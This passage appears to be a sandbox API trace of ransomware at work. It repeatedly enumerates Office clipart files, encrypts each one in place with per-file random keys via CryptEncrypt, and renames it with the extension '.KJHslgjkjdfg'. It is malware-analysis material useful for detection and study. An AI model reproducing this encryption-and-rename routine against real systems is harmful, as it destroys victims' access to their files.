[0210.910] CloseHandle (hObject=0x130) returned 1 [0210.910] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1573e300, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1573e300, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0x60c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL01041_.WMF", cAlternateFileName="")) returned 1 [0210.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.911] GetProcessHeap () returned 0x990000 [0210.911] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.911] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.912] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.912] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.914] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.914] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.914] GetProcessHeap () returned 0x990000 [0210.914] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.914] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.915] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.915] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.915] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.915] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.915] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.915] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.916] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.916] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.916] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.916] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.916] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x60c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x60c, lpOverlapped=0x0) returned 1 [0210.916] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x610, dwBufLen=0x610 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x610) returned 1 [0210.916] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.916] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x610, lpOverlapped=0x0) returned 1 [0210.916] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.916] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.916] SetEndOfFile (hFile=0x130) returned 1 [0210.917] GetProcessHeap () returned 0x990000 [0210.917] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.917] GetProcessHeap () returned 0x990000 [0210.917] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.917] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf.kjhslgjkjdfg")) returned 1 [0210.919] CloseHandle (hObject=0x130) returned 1 [0210.919] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cd76600, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7cd76600, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x1b04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL01394_.WMF", cAlternateFileName="")) returned 1 [0210.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.921] GetProcessHeap () returned 0x990000 [0210.921] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.921] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.921] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.921] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0210.943] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.943] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.943] GetProcessHeap () returned 0x990000 [0210.943] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.943] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.943] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.943] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.944] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.944] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.944] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.944] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.944] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.944] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.944] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.945] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.945] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1b04, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1b04, lpOverlapped=0x0) returned 1 [0210.946] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b10, dwBufLen=0x1b10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b10) returned 1 [0210.946] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.947] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1b10, lpOverlapped=0x0) returned 1 [0210.947] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.947] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.947] SetEndOfFile (hFile=0x130) returned 1 [0210.950] GetProcessHeap () returned 0x990000 [0210.950] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.950] GetProcessHeap () returned 0x990000 [0210.950] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.950] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf.kjhslgjkjdfg")) returned 1 [0210.952] CloseHandle (hObject=0x130) returned 1 [0210.952] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x747f2b00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x747f2b00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL01395_.WMF", cAlternateFileName="")) returned 1 [0210.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.953] GetProcessHeap () returned 0x990000 [0210.953] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.953] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.953] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.953] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.956] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.956] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.956] GetProcessHeap () returned 0x990000 [0210.956] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.956] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.956] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.956] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.956] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.956] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.956] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.956] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.956] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.956] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.956] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.956] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.956] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x138c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x138c, lpOverlapped=0x0) returned 1 [0210.957] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1390, dwBufLen=0x1390 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1390) returned 1 [0210.958] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.958] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1390, lpOverlapped=0x0) returned 1 [0210.958] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.958] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.958] SetEndOfFile (hFile=0x130) returned 1 [0210.960] GetProcessHeap () returned 0x990000 [0210.960] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.960] GetProcessHeap () returned 0x990000 [0210.960] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.960] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf.kjhslgjkjdfg")) returned 1 [0210.962] CloseHandle (hObject=0x130) returned 1 [0210.962] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6cc4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL01565_.WMF", cAlternateFileName="")) returned 1 [0210.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.964] GetProcessHeap () returned 0x990000 [0210.964] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.964] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.964] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.964] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0210.968] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.968] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.969] GetProcessHeap () returned 0x990000 [0210.969] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.969] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.969] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.969] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.969] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.969] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.969] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.969] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.969] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.969] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.969] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.969] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.970] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6cc4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6cc4, lpOverlapped=0x0) returned 1 [0210.970] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6cd0, dwBufLen=0x6cd0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6cd0) returned 1 [0210.971] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.971] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6cd0, lpOverlapped=0x0) returned 1 [0210.971] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.971] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6da4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.971] SetEndOfFile (hFile=0x130) returned 1 [0210.974] GetProcessHeap () returned 0x990000 [0210.974] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.974] GetProcessHeap () returned 0x990000 [0210.974] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.974] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf.kjhslgjkjdfg")) returned 1 [0210.976] CloseHandle (hObject=0x130) returned 1 [0210.976] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a6e400, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8a6e400, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x36aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00017_.WMF", cAlternateFileName="")) returned 1 [0210.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.979] GetProcessHeap () returned 0x990000 [0210.979] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.979] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.979] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.979] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, 